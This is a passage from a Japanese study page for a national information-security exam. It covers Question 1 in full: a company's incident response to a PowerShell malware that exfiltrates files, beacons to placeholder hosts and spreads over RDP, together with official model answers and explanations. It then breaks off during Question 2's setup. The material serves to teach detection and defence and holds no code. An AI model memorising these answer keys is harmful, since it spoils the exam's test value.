‹

令和6年度 秋期 午後

令和6年度 秋期に実施された情報処理安全確保支援士試験 午後の全4問(記述式)です。事例本文・設問・解答例と解説をそのまま読めます。

この試験について:情報処理安全確保支援士試験について

この年度を解いてみる

問1 インシデントレスポンス

インシデントレスポンスに関する次の記述を読んで,設問に答えよ。

L 社は,従業員 100 名のソフトウェア開発会社である。L 社の社内システムは,情報システム部(以下,情シス部という)が,運用及びインシデント対応を行っている。

L 社は,E 社の SaaS を使用している。L 社のネットワーク構成を図1に,図1の各構成要素の仕様,機能及び利用方法を表1に示す。

L 社のネットワーク構成図。E 社 SaaS(プロキシサービス,マルウェア対策サービス,メールサービス,DNS サービス)はインターネットに接続されている。インターネットは FW に接続され,FW は L3SW に接続されている。L3SW の先に,オフィス LAN(L2SW に AP が接続され,AP とシンクライアント PC が無線で接続される),仮想環境 LAN(L2SW に複数の仮想環境が接続され,各仮想環境は仮想スイッチと複数の仮想 PC をもつ),サーバ LAN(L2SW にドメインサーバとファイルサーバが接続される),サポート LAN(L2SW にバックアップサーバと保守用 PC が接続される)がある。凡例:FW はファイアウォール,L2SW はレイヤー2スイッチ,L3SW はレイヤー3スイッチ,AP は無線 LAN アクセスポイント,仮想環境は物理サーバ上で仮想スイッチと複数の仮想 PC を稼働させる環境。
図1 L 社のネットワーク構成(抜粋)
構成要素と仕様,機能及び利用方法の2列の表。ドメインサーバ:・ドメイン名 ad01 という L 社の社内ドメインを管理する。・L 社の各従業員には一つのドメインユーザーが割り当てられている。・ドメインユーザーが登録されており,プロキシサービス,メールサービス,L 社内のサーバ,仮想 PC 及び保守用 PC(以下,L 社内のサーバ,仮想 PC 及び保守用 PC を L 社内ホストという)にログオンする際の利用者認証に利用される。・ログオンは,ドメインユーザーの利用者 ID とパスワードで行う。プロキシサービス:・専用のプログラム(以下,Q プログラム 1) という)を L 社内ホストにインストールする必要がある。Q プログラムがドメインサーバに接続され,ドメインユーザーが認証されると,利用可能になる。・Q プログラムがインストールされた L 社内ホストからインターネットへの HTTP 通信及び HTTPS 通信を全て中継する。・HTTPS 通信を復号して URL フィルタリング機能を適用し,再暗号化することができる。・URL フィルタリング機能では,ドメインユーザーごとに指定された URL へのアクセスを許可又は拒否することができる。- 次の 3 種類のリストがあり,上から順に URL フィルタリングが適用される。・管理者許可リスト:管理者が設定できる。アクセスが許可される URL のリストである。“全て”と記載すると,全ての URL へのアクセスが許可される。何も設定しないとリストは無視される。・管理者拒否リスト:管理者が設定できる。アクセスが拒否される URL のリストである。“全て”と記載すると,全ての URL へのアクセスが拒否される。何も設定しないとリストは無視される。設定された URL へのアクセスが拒否されたときは,情シス部にアラートメールが送付されるように設定している。・ベンダー拒否リスト:E 社から日次で提供される。アクセスが拒否される URL のリストであり,マルウェア感染などのカテゴリがある。アクセスが拒否された URL がマルウェア感染のカテゴリに一致したときは,情シス部にアラートメールが送付されるように設定している。- どのリストにも該当しない場合は,アクセスは許可される。・管理用の Web ページから,各種設定の変更と通信ログの確認ができる。マルウェア対策サービス:・L 社内ホストに導入しているマルウェア対策ソフトを管理する。・管理用の Web ページから,各種設定の変更,マルウェア定義ファイルの適用状況の確認,マルウェア対策ソフトの稼働状況の確認及びマルウェア検知のログの確認ができる。・マルウェアが検知されたときは,情シス部にアラートメールが送付される。(表1は次ページに続く)
表1 図1の各構成要素の仕様,機能及び利用方法(抜粋)
構成要素と仕様,機能及び利用方法の2列の表(続き)。仮想 PC:・L 社の従業員には,一人 1 台割り当てられている。・従業員がシンクライアント PC から RDP で接続して利用する。・従業員が利用するアカウントは,ドメインユーザーであり,仮想 PC 上のローカルアドミニストレーター権限をもっている。・各ドメインユーザーは,割り当てられた仮想 PC にだけログオンできる。・ホスト名は PC-x 2) である。・マルウェア感染が確認された場合,情シス部が仮想環境の仮想スイッチから切り離し,感染拡大を防ぐ。ファイルサーバ:・L 社の顧客情報,設計書など,社外秘に指定されている情報(以下,社外秘情報 L という)を保管する。・社外秘情報 L は,仮想 PC には保管せず,ファイルサーバに保管するルールにしている。・利用時はドメインサーバでの認証が必要である。・ホスト名は filesv である。保守用 PC:・L 社内のサーバと仮想 PC を保守するための専用の PC である。インシデント発生時は本 PC で調査を行う。・保守用ツールのほか,ネットワークトラフィック調査及びフォレンジック用のツールがインストールされている。注 1) HTTP 及び HTTPS 通信をプロキシサービスに送り,そのログを取得する機能をもつ。注 2) x には,英大文字が 1 字以上入る。
表1 図1の各構成要素の仕様,機能及び利用方法(抜粋)(続き)

〔ツールの開発〕

情シス部の X 主任と Y さんは,インシデント対応時にログの調査に手間どらないように,証拠データを収集するツール(以下,F ツールという)を開発することにした。F ツールの概要を図2に示す。

枠で囲んだ F ツールの概要。■機能:・インシデント対応時に 1 台の仮想 PC 上で,インシデント対応に必要なログ,レジストリなどの証拠データを収集元から収集し,表2に示す出力ファイルを出力する。・証拠データの収集元及び保存先並びに出力ファイルの出力先は,設定ファイルで指定する。■使い方:・仮想 PC が稼働しているときは,仮想 PC 上で実行する。・仮想 PC が稼働していないときは,保守用 PC に仮想 PC のディスクイメージをコピーしてマウントし,保守用 PC 上で実行する。
図2 F ツールの概要(抜粋)
ファイル名と記載される内容の2列の表。file.csv:ファイルの生成,参照,更新,削除及び実行のログ。srv.csv:サービス及びタスク 1) の登録,削除,開始及び停止のログ。auth.csv:認証 2) の成功と失敗,アカウントの作成,特権の利用,イベントログの消去などのログ。net1.csv:Q プログラムのログ。net2.csv:プロセスごとの 1 時間のネットワーク送受信量の記録。time.csv:file.csv,srv.csv,auth.csv,net1.csv を結合して時刻順に並べ替えたもの。注 1) 決められたスケジュール及び指定したイベントをトリガーに実行されるプログラム。注 2) 対話型,ネットワーク,サービス,RDP など,ログオンの種類も記録される。
表2 F ツールの出力ファイル

〔インシデント発生時の F ツール活用〕

12 月 6 日,情シス部の Y さんは,プロキシサービスからアラートメールを受信した。Y さんが,アラートメールを確認したところ,PC-A が,https://○○○.com/にアクセスしようとしてアクセスが拒否されたこと及びその URL がベンダー拒否リストのマルウェア感染のカテゴリに一致したことが分かり,上司の X 主任に報告した。

PC-A が割り当てられている従業員に連絡した上で,X 主任は,PC-A を一旦,仮想スイッチから切り離して F ツールを実行し,F ツールの出力ファイルとプロキシサービスの通信ログから,https://○○○.com/にアクセスした原因を調査するように Y さんに指示した。

PC-A での F ツールの出力ファイルのうち,time.csv を表3に,net2.csv を表4に,プロキシサービスの通信ログのうち送信元が PC-A であるものを表5に示す。

日時,事象,ファイル名の3列の表。12/04 22:12:28 https://○○search.com/に接続を試みた。net1.csv。12/04 22:20:34 https://△△△.com/に接続を試みた。net1.csv。12/04 22:32:48 i.ps1 が作成された。file.csv。12/04 22:33:12 i.ps1 が PowerShell で実行された。file.csv。12/04 22:33:21 “タスク名:install”が登録された。srv.csv。12/04 22:33:22 “タスク名:install”が実行された。srv.csv。12/04 22:33:25 https://△△△.com/に接続を試みた。net1.csv。12/04 22:34:28 VSCAN_SVC 1) が停止された。srv.csv。12/04 22:38:12 D ドライブのファイルが参照された。file.csv。(省略)2)。12/04 22:42:06 \\filesv のファイルが参照された。file.csv。(省略)3)。12/04 22:59:07 s.rar が作成された。file.csv。12/04 23:00:05 https://△△△.com/に接続を試みた。net1.csv。12/04 23:10:05 s.rar が削除された。file.csv。12/04 23:31:15 PC-A からドメインサーバに,ad01\user019 で RDP 接続が失敗した。auth.csv。12/04 23:32:05 PC-A から PC-B に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:32:16 PC-A から PC-B に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:32:22 PC-A から PC-B に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:32:35 PC-A から PC-C に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:32:51 PC-A から PC-C に,.\administrator で,RDP 接続が許可された。auth.csv。12/04 23:35:01 PC-A から PC-D に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:35:17 PC-A から PC-D に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:35:21 PC-A から PC-D に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:35:36 PC-A から PC-E に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:35:45 PC-A から PC-E に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:35:52 PC-A から PC-E に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:36:02 PC-A から PC-F に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:36:15 PC-A から PC-F に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:36:24 PC-A から PC-F に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:37:35 PC-A から PC-G に,ad01\user019 で,RDP 接続が失敗した。auth.csv。12/04 23:37:49 PC-A から PC-G に,.\administrator で,RDP 接続が失敗した。auth.csv。12/04 23:37:54 PC-A から PC-G に,.\administrator で,RDP 接続が失敗した。auth.csv。(省略)4)。(表3は次ページに続く。注記は次ページ)
表3 PC-A の time.csv(抜粋)
日時,事象,ファイル名の3列の表(続き)。12/05 22:34:05 https://○○○.com/に接続を試みた。net1.csv。12/05 23:34:05 https://○○○.com/に接続を試みた。net1.csv。12/06 00:34:05 https://○○○.com/に接続を試みた。net1.csv。12/06 01:34:04 https://○○○.com/に接続を試みた。net1.csv。12/06 02:34:03 https://○○○.com/に接続を試みた。net1.csv。12/06 02:34:04 https://○○○.com/に接続を試みた。net1.csv。12/06 02:34:05 https://□□□.com/に接続を試みた。net1.csv。12/06 03:34:05 https://□□□.com/に接続を試みた。net1.csv。12/06 04:34:05 https://□□□.com/に接続を試みた。net1.csv。12/06 05:34:04 https://□□□.com/に接続を試みた。net1.csv。注記 1 アカウント名の表記は domainhost\userNNN としている。domainhost にはドメイン名又はホスト名が,userNNN には利用者 ID がそれぞれ入る。ただし,domainhost が“.”の場合は,userNNN は仮想 PC のローカルユーザーであることを示す。注記 2 12/04 22:33:25 から 12/05 22:34:05 の間に発生した https://○○○.com/への接続試行ログは省略している。注 1) マルウェア対策ソフトのサービス名である。注 2) D ドライブのファイルの参照ログだけである。注 3) \\filesv のファイルの参照ログだけである。注 4) RDP 接続の失敗ログだけである。
表3 PC-A の time.csv(抜粋)(続き)
日時,プロセス,ネットワーク送受信量(M バイト)の3列の表。12/04 23:05:40 Web ブラウザ 4.5。12/04 23:05:40 C:\(省略)\powershell.exe 810.0。12/05 00:05:40 C:\(省略)\powershell.exe 196.0。(省略)1)。12/06 00:05:40 C:\(省略)\powershell.exe 0.1。12/06 01:05:40 C:\(省略)\powershell.exe 0.1。12/06 02:05:40 C:\(省略)\powershell.exe 0.1。12/06 03:05:40 C:\(省略)\powershell.exe 0.1。12/06 04:05:40 C:\(省略)\powershell.exe 0.1。12/06 05:05:40 C:\(省略)\powershell.exe 0.1。注記 プロセスごとの,毎時 5 分 40 秒までの 1 時間のネットワーク送受信量の記録である。注 1) C:\(省略)\powershell.exe のネットワーク送受信量の行だけである。
表4 PC-A の net2.csv(抜粋)
日時,利用者 ID,宛先,宛先ポート番号,フィルタアクション,送受信量(M バイト)の6列の表。利用者 ID はいずれも ad01\user019,宛先ポート番号はいずれも 443。12/04 22:12:28 https://○○search.com/ 許可 1.0。12/04 22:20:34 https://△△△.com/i.ps1 許可 2.0。12/04 22:33:25 https://△△△.com/v/q.ps1 許可 4.0。12/04 23:00:05 https://△△△.com/v/upl 許可 511.0。12/04 23:34:02 https://○○○.com/ 許可 0.1。(省略)1)。12/05 22:34:05 https://○○○.com/ 許可 0.1。12/05 23:34:05 https://○○○.com/ 許可 0.1。12/06 00:34:05 https://○○○.com/ 許可 0.1。12/06 01:34:04 https://○○○.com/ 許可 0.1。12/06 02:34:03 https://○○○.com/ 拒否 -。12/06 02:34:04 https://○○○.com/ 拒否 -。12/06 02:34:05 https://□□□.com/ 許可 0.1。12/06 03:34:05 https://□□□.com/ 許可 0.1。12/06 04:34:05 https://□□□.com/ 許可 0.1。12/06 05:34:04 https://□□□.com/ 許可 0.1。注 1) 一つ前のログと同じ https://○○○.com/への許可された通信のログだけである。
表5 プロキシサービスの通信ログのうち送信元が PC-A であるもの(抜粋)

〔暫定対策と追加調査の実施〕

X 主任と Y さんは,PC-A がマルウェアに感染し,PC-A 及び a 上のファイルのほか,b 上のファイルのうち,アカウント c でアクセス可能なファイルがインターネットに送信されているおそれがあると考え,図3の暫定対策と追加調査を行った。

枠で囲んだ暫定対策と追加調査。暫定対策:1 マルウェア感染拡大とこれ以上のファイルの送信を防ぐために,ドメインサーバでアカウント [ c ] の [ d ] を行う。2 ファイルの送信を防ぐために,<u>①プロキシサービスで対策を行う</u>。追加調査:1 表3から,PC-A から [ a ] にマルウェア感染が拡大している可能性があると考えられるので,[ a ] について PC-A と同様の調査を行う。2 プロキシサービスのログで,PC-A,[ a ] のほかに<u>②マルウェアに感染している L 社内ホストがないか調査を行う</u>。(図中の下線①,②はそれぞれ“プロキシサービスで対策を行う”,“マルウェアに感染している L 社内ホストがないか調査を行う”に付いている)
図3 暫定対策と追加調査

また,X 主任は PC-A の証拠データと,PC-A の調査で収集できた i.ps1 をセキュリティ専門会社である C 社に提供し,解析を依頼した。C 社の解析結果を図4に示す。

枠で囲んだ C 社の解析結果。i.ps1 の動作:(a) タスクを登録する。登録するタスクの設定は次のとおりである。既に同じタスク名のタスクが登録されている場合は何もしない。タスク名:install。実行時に使うアカウント:タスク登録時に,ログオンしているアカウント。登録するスクリプトの動作:https://△△△.com/v/q.ps1 をメモリ上に展開し,実行する。タスク実行のトリガー:ログオン時に実行される。(b) タスクを登録した後に,(a)で登録したタスクを実行する。q.ps1 の動作:解析に用いたファイルは,当社が 12 月 6 日 15 時に,https://△△△.com/v/q.ps1 からダウンロードしたものである。次は,当社が入手した脅威情報を加味したものである。(c) マルウェア対策ソフトを停止する。(d) 特定のディスク領域とネットワークドライブのファイルを RAR 形式でアーカイブファイルにまとめ,https://△△△.com/v/upl を使ってアップロードする。(e) 1 時間おきに https://○○○.com/にコネクトバック通信をする。(f) (e)の通信ができない場合,リトライ通信を 1 回行う。リトライ通信に失敗した場合は,https://□□□.com/にコネクトバック通信をし,以降は,1 時間おきに https://□□□.com/にコネクトバック通信をする。(g) パスワード又はパスワードハッシュを PC のメモリ上から窃取する。(h) ping コマンドを使ってホストを探索し,RDP 接続を試みる。RDP 接続に失敗した場合,何もしない。(i) RDP 接続に成功すると,接続先で i.ps1 の実行を試みる。
図4 C 社の解析結果(概要)

Y さんは図4の解析結果から,図3の追加調査の 1 及び 2 では,図4で解析したマルウェアが,今後,活動する可能性がある L 社内ホストを見逃したおそれがあると考えた。Y さんは③追加調査の 3 として,L 社内ホストの全てに対して新たな調査を行う必要があるのではないかと X 主任に相談した。X 主任は同意し,調査には時間が掛かるので,調査と並行して,④図4のマルウェアの活動を自動的に検出する新たな仕組みを作るように指示した。

この追加調査の 3 では,a だけがマルウェアに感染した可能性があることが判明し,必要な対処を行った。また,新たにマルウェアの活動は検出されなかったので,復旧に向け対応を進めることにした。

〔技術的対策の立案〕

X 主任と Y さんは,今回と同様のマルウェア感染が起きた場合に備えて,図3の暫定対策以外に,攻撃者による目的実行までの活動を阻止するための技術的対策を,表6のとおりにまとめた。

今回の攻撃者による活動と技術的対策の2列の表。i.ps1 と q.ps1 を PC-A で実行させた。:PowerShell の実行ポリシーを設定し,署名のないスクリプトの実行を禁止する。PC-A からマルウェア感染を広げた。:[ e ]。q.ps1 がファイルを不正に持ち出した。:[ f ]。
表6 攻撃者による目的実行までの活動を阻止するための技術的対策

今後,表6中の技術的対策について,X 主任と Y さんが中心となって導入の計画立案を進めることにした。

出題趣旨(IPA)

サイバー攻撃はエンドポイントへの侵入から始まることが多い。攻撃者は,マルウェアを仕掛けた後に,より高い権限の奪取を試みたり,ほかのエンドポイントを探索したりする。そのため,エンドポイントのセキュリティ対策としてログの分析が重要になってきている。インシデント発生時に迅速に対応するためには,どのような攻撃を受けているのかをログから推測・確認する対応力が必要となる。本問では,ソフトウェア開発会社の社内システムの運用及びインシデント対応を題材として,ログを解析する能力及び技術的対策を立案する能力を問う。

採点講評(問全体・IPA)

問1では,ソフトウェア開発会社の社内システムの運用及びインシデントレスポンスを題材に,ログを調査する能力及び技術的対策を立案について出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

本文中及び図3中の a に入れる適切なホスト名を答えよ。

〔a〕解答例

  • PC-C
解説

本文の根拠

表3 PC-A の time.csv

12/04 23:32:51 PC-A から PC-C に

表3 PC-A の time.csv

RDP 接続が許可された。auth.csv

図4 q.ps1 の動作 (h)

(h) ping コマンドを使ってホストを探索し,RDP 接続を試みる。RDP 接続に失敗した場合,何もしない。

図4 q.ps1 の動作 (i)

(i) RDP 接続に成功すると,接続先で i.ps1 の実行を試みる。

図4の(h)(i)のとおり,マルウェアは ping でホストを探して RDP 接続を試み,成功した接続先でだけ i.ps1 の実行を試みる。したがって感染が広がった可能性があるのは,PC-A からの RDP 接続が成功したホストである。

表3で PC-A が RDP 接続を試みた先は,ドメインサーバと PC-B から PC-G までである。このうち“RDP 接続が許可された”のは 23:32:51 の PC-C だけで,ほかは ad01\user019 でも .\administrator でもすべて“失敗した”と記録されている。よって a は PC-C である。

間違えやすい点。a は PC-A 自身の調査対象ではなく,PC-A から感染が拡大した可能性のある先を問うている。失敗した PC-B,PC-D〜PC-G は,マルウェアの実行まで至っていない。

設問1(2) 解答欄1つ

本文中の b に入れる適切なホスト名を答えよ。

〔b〕解答例

  • filesv
解説

本文の根拠

表3 PC-A の time.csv

12/04 22:42:06 \\filesv のファイルが参照された。

表1 ファイルサーバ

ホスト名は filesv である。

表1 ファイルサーバ

社外秘情報 L は,仮想 PC には保管せず,ファイルサーバに保管するルールにしている。

図4 q.ps1 の動作 (d)

(d) 特定のディスク領域とネットワークドライブのファイルを RAR 形式でアーカイブファイルにまとめ

本文は“PC-A 及び a 上のファイルのほか,b 上のファイルのうち,アカウント c でアクセス可能なファイルが送信されているおそれがある”と述べる。PC-A のほかにファイルが取られる先として図4(d)は“ネットワークドライブのファイル”を挙げており,表3では 22:42:06 に PC-A から“\\filesv のファイルが参照された”ことが記録されている。表1によれば filesv はファイルサーバのホスト名である。

つまり b はファイルサーバの filesv である。仮想 PC には社外秘情報 L を置かないルールなので,ネットワーク経由で取られるまとまった情報はファイルサーバに集まっている。

間違えやすい点。ドメインサーバ(ad01 を管理する側)も表3に出てくるが,これは RDP 接続を試みて失敗した相手であり,ファイルを参照された記録は無い。

設問1(3) 解答欄1つ

本文中及び図3中の c に入れる適切なアカウント名を,表3の注記 1 に従って答えよ。

〔c〕解答例

  • ad01\user019
解説

本文の根拠

表3 注記 1

アカウント名の表記は domainhost\userNNN としている。

表5 プロキシサービスの通信ログ

利用者 ID はいずれも ad01\user019

表1 ファイルサーバ

利用時はドメインサーバでの認証が必要である。

表1 ドメインサーバ

ログオンは,ドメインユーザーの利用者 ID とパスワードで行う。

ファイルサーバは“ドメインサーバでの認証が必要”で,ログオンはドメインユーザーの利用者 ID とパスワードで行う。PC-A を使っていた従業員のドメインユーザーは,表5のプロキシ通信ログや表3の RDP 接続の記録に出てくる ad01\user019 である。マルウェアは図4(g)でパスワードまたはパスワードハッシュをメモリ上から窃取するが、ファイルサーバに対してはこのアカウントでアクセスできる。

表3の注記 1 は“domainhost\userNNN”の形と決めている。ドメイン名は ad01(表1),利用者 ID は user019 なので,c は ad01\user019 と書く。

間違えやすい点。表3には .\administrator も出てくるが、これは仮想 PC のローカルユーザー(domainhost が“.”)であり、ドメインサーバで認証するファイルサーバにはアクセスできない。また domainhost 部分を省いて user019 だけにすると、注記 1 の表記に従ったことにならない。

採点講評(IPA)

設問1(3)は,正答率が高かった。被害の可能性を複数のログから適切に読み取ることができていた。

設問1(4) 解答欄1つ

図3中の d に入れる適切な対策を 10 字以内で答えよ。

〔d〕解答例

  • 無効化
解説

本文の根拠

図3 暫定対策 1

マルウェア感染拡大とこれ以上のファイルの送信を防ぐために,ドメインサーバでアカウント c の d を行う。

表1 プロキシサービス

Q プログラムがドメインサーバに接続され,ドメインユーザーが認証されると,利用可能になる。

図4 i.ps1 の動作 (a)

実行時に使うアカウント:タスク登録時に,ログオンしているアカウント

暫定対策 1 は,ドメインサーバ上でアカウント ad01\user019 に対して行う措置で,感染拡大とファイル送信を止めるものである。プロキシサービスは“ドメインユーザーが認証されると利用可能”になり,ファイルサーバも“ドメインサーバでの認証が必要”なので,このアカウントを使えなくすれば,インターネットへの通信(表5の送信)もファイルサーバへのアクセスも止まる。また図4(a)のタスク install は,登録時にログオンしていたアカウントで動くので,そのアカウントを無効にすればタスクの実行も妨げられる。

したがって d は“無効化”(アカウントの無効化)である。

字数は 10 字以内。“アカウントの無効化”では d の前の“の”と重なるので,“無効化”だけを書けば足りる。パスワードの変更は,パスワードハッシュを窃取されている場合(図4(g))にはハッシュを使った認証が成り立つ余地があり,確実な止め方としては弱い。

設問1(5)

図3中の下線①について,対策の内容を,具体的に答えよ。

解答例

  • 全てのドメインユーザーに対して,https://△△△.com/,https://□□□.com/及びhttps://〇〇〇.com/を管理者拒否リストに登録する。
解説

本文の根拠

表1 プロキシサービス

管理者拒否リスト:管理者が設定できる。アクセスが拒否される URL のリストである。“全て”と記載すると,全ての URL へのアクセスが拒否される。

図4 q.ps1 の動作 (d)

https://△△△.com/v/upl を使ってアップロードする。

図4 q.ps1 の動作 (e)(f)

(e) 1 時間おきに https://○○○.com/にコネクトバック通信をする。

図4 q.ps1 の動作 (f)

https://□□□.com/にコネクトバック通信をし

表1 プロキシサービス

URL フィルタリング機能では,ドメインユーザーごとに指定された URL へのアクセスを許可又は拒否することができる。

ファイルの送信を防ぐ対策は,プロキシサービスの URL フィルタリングで,攻撃者が使う URL への通信を拒否することである。拒否の設定は管理者拒否リストに書く。送信先は図4から読み取れる。ファイルの送信は https://△△△.com/v/upl((d)),コマンド受信用のコネクトバックは https://○○○.com/((e))で,それが通じないとき https://□□□.com/((f))に切り替わる。三つとも拒否しないと,ほかの経路から指示を受けたり,ファイルを送ったりできてしまう。

URL フィルタリングはドメインユーザーごとに指定でき,マルウェアが ad01\user019 以外のアカウントで動く可能性もあるので,対象は“全てのドメインユーザー”にする。ベンダー拒否リストは E 社から提供されるので,管理者が自分で追加できる管理者拒否リストを使う。

書き方の注意。URL を一つだけ,または ○○○ だけを書く答えは,(f) のリトライ先 □□□ や,ファイル送信先の △△△ を取りこぼす。“どのリストに”“誰に対して”“どの URL を”の三点をそろえる。

設問1(6)

図3中の下線②について,調査の内容を,具体的に答えよ。

解答例

  • https://○〇○.com/,https://△△△.com/又はhttps://□□□.com/に通信したL社内ホストがないか調査する。
解説

本文の根拠

表1 プロキシサービス

管理用の Web ページから,各種設定の変更と通信ログの確認ができる。

図4 q.ps1 の動作 (e)(f)

(e) 1 時間おきに https://○○○.com/にコネクトバック通信をする。

図4 q.ps1 の動作 (f)

以降は,1 時間おきに https://□□□.com/にコネクトバック通信をする。

図3 追加調査 2

2 プロキシサービスのログで,PC-A,a のほかに

追加調査 2 は,プロキシサービスの通信ログを調べて,PC-A と PC-C のほかに感染している L 社内ホストがないかを確かめるものである。感染したホストは,図4(e)(f)のとおり 1 時間おきに ○○○(失敗したときは □□□)へコネクトバック通信をするので,その通信ログが残る。ファイルの持出しの送信先 △△△ も同様である。

したがって,プロキシサービスの通信ログの中から,https://○○○.com/,https://△△△.com/,https://□□□.com/ に通信した L 社内ホストがないか調査する,と書く。

間違えやすい点。感染済みの PC-A や PC-C 以外のホストを探す調査なので,宛先で絞り込む。ホスト名や利用者 ID から探そうとしても手掛かりが無い。三つの URL のうち一つだけでは,e の失敗後に □□□ に切り替わっているホストなどを見落とす。

設問1(7)

本文中の下線③について,調査の内容を,具体的に答えよ。

解答例

  • タスク名がinstallであるタスクが登録されているL社内ホストがないか調査する。
解説

本文の根拠

図4 i.ps1 の動作 (a)

タスク名:install

図4 i.ps1 の動作 (a)

タスク実行のトリガー:ログオン時に実行される。

本文 〔暫定対策と追加調査の実施〕

Y さんは図4の解析結果から,図3の追加調査の 1 及び 2 では,図4で解析したマルウェアが,今後,活動する可能性がある L 社内ホストを見逃したおそれがあると考えた。

表2 F ツールの出力ファイル

srv.csv:サービス及びタスク 1) の登録,削除,開始及び停止のログ。

追加調査 1 と 2 は,RDP 接続の成否と,プロキシ経由の通信ログという“動いた記録”を手掛かりにした調査である。ところが図4によれば,i.ps1 は“タスク名:install”のタスクを登録し,これはログオン時に実行される。感染していても,まだログオンされていないホストや,通信がまだ出ていないホストは,1 と 2 では見つからない。

そこで L 社内ホスト全てで,タスク名が install のタスクが登録されていないかを調べる。表2の srv.csv にあるとおり,F ツールはサービスやタスクの登録を記録できるので,PC-A でそうしたように,各ホストで F ツールを実行して確かめられる。

書き方の注意。“タスク名が install であるタスクが登録されている”まで書く。“マルウェアを調査する”だけでは,何を手掛かりにするのかが答えになっていない。

設問1(8) 解答欄2つ

本文中の下線④について,検出する仕組みを,二つ答えよ。

〔①〕解答例

  • マルウェア対策サービスのログから,マルウェア対策ソフトが停止したL社内ホストを検出する。

〔②〕解答例

  • ドメインサーバのログから,RDP接続をくり返しているL社内ホストを検出する。

〔備考〕順不同で二つ解答

解説

本文の根拠

図4 q.ps1 の動作 (c)

(c) マルウェア対策ソフトを停止する。

表1 マルウェア対策サービス

管理用の Web ページから,各種設定の変更,マルウェア定義ファイルの適用状況の確認,マルウェア対策ソフトの稼働状況の確認及びマルウェア検知のログの確認ができる。

図4 q.ps1 の動作 (h)

(h) ping コマンドを使ってホストを探索し,RDP 接続を試みる。RDP 接続に失敗した場合,何もしない。

表3 PC-A の time.csv

12/04 23:36:02 PC-A から PC-F に

図4のマルウェアの活動のうち,ログで見分けられるものを選ぶ。(c)“マルウェア対策ソフトを停止する”は,マルウェア対策サービスの管理用 Web ページで“マルウェア対策ソフトの稼働状況の確認”ができるので,停止した L 社内ホストを検出できる。表3でも 22:34:28 に VSCAN_SVC が停止されている。(h)“ping で探索して RDP 接続を試み,失敗したら何もしない”は,表3のように短時間に多数のホストへ RDP 接続の失敗が連続する形でドメインサーバや各ホストの認証ログに残るので,RDP 接続を繰り返している L 社内ホストを検出できる。

解答例は二つで,マルウェア対策サービスのログからの検出と,ドメインサーバのログからの検出である。備考にあるとおり順不同。

書き方の注意。“どのログを見るか”まで書く。講評も“どのログを確認するかの記述がない解答が多かった”と指摘している。“怪しい通信を検知する”のように,対象のログが分からない書き方は不十分である。

採点講評(IPA)

設問1(8)は,正答率が平均的であった。どのログを確認するかの記述がない解答が多かった。マルウェアの動作によって,どのログに何が記録されているかを考え,検知の仕組みを設計できる能力を培ってほしい。

設問2 解答欄2つ

表6中の e,f に入れる適切な字句を答えよ。

〔e〕解答例

  • 仮想PCへのRDP接続に対して,IPアドレスによる接続元制限を行う

〔f〕解答例

  • L社内にDLPを導入し,ファイルの持出しを制限する
解説

本文の根拠

表6

PC-A からマルウェア感染を広げた。:e。

表6

q.ps1 がファイルを不正に持ち出した。:f。

表1 仮想 PC

従業員がシンクライアント PC から RDP で接続して利用する。

表3 PC-A の time.csv

12/04 23:32:51 PC-A から PC-C に

表4 PC-A の net2.csv

12/04 23:05:40 C:\(省略)\powershell.exe 810.0

e は,PC-A から PC-C へ RDP 接続でマルウェアが広がったことへの対策である。表1によれば,仮想 PC には従業員がシンクライアント PC から RDP で接続して使うので,仮想 PC 同士の RDP 接続は業務上要らない。そこで仮想 PC への RDP 接続を,IP アドレスによる接続元制限で,シンクライアント PC などの許可した接続元だけに限れば,PC-A からの接続は失敗する。

f は,q.ps1 によるファイルの持出しへの対策である。表4では powershell.exe が 810 M バイトを送受信し,表5では upl への送信が 511 M バイトに上っている。社外秘情報 L を守る技術的対策としては,DLP(情報漏えい対策)を導入し,ファイルの持出しを制限する方法が挙がる。

間違えやすい点。講評が指摘するとおり,ファイルサーバのアクセス権を最小限にするだけでは,マルウェアは特別な権限なしにファイルを持ち出しているので,防止できない。e は“どこからの接続を許すか”,f は“持出しそのものを検知・制限する”ことを書く。

採点講評(IPA)

設問2fは,正答率がやや低かった。ファイルサーバのアクセス権を最小限にするといった解答が散見されたが,マルウェアは,特別な権限なしにファイルを持ち出している。ファイルの持出しに対する技術的対策は複数考えられるが,インシデントで起きたファイルの持出しを防止できる対策を選択してほしい。

出典:令和6年度 秋期 情報処理安全確保支援士試験 午後 問1(表記を一部改変)

問2 ドメイン名変更

ドメイン名変更に関する次の記述を読んで,設問に答えよ。

A 社は,従業員 1,000 名の工作機械製造会社である。A 社の技術力は高く評価されている。A 社には,総務部,営業部,情報システム部,技術部及び製造部がある。

A 社の Web サイトでは,一般向けに IR 情報と関連会社へのリンクを,顧客向けに自社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログラムを提供している。また,A 社では,電子メール(以下,メールという)を用いて,顧客との間で見積書や注文書の送受信をしたり,ニュースサイトのメールマガジンに登録して最新の情報を収集したりしている。

A 社のドメイン名を詐称したメールが毎週 2 通程度,送られていることが,多くの顧客から報告されている。情報システム部長は,顧客に詐欺などの被害が生じるおそれがあることを認識し,メールの詐称対策が必要であると考えている。

〔情報システムの現状〕

A 社は,10 年前にドメイン名 a-sha.co.jp(以下,A 社ドメイン名という)を取得して以降,A 社の Web サイト(以下,A-Web サイトという)及びメールアドレスのドメイン名として利用している。A 社ドメイン名は,DNS サービス事業者である S 社の権威 DNS サービス(以下,S サービスという)を用いて管理している。

A-Web サイトは,Web サービス事業者である W 社の Web サービス(以下,W サービスという)を用いて提供している。

A 社のネットワークを図1に,構成要素の機能を表1に示す。A 社の従業員は,PC-LAN 内の PC で業務を行っている。

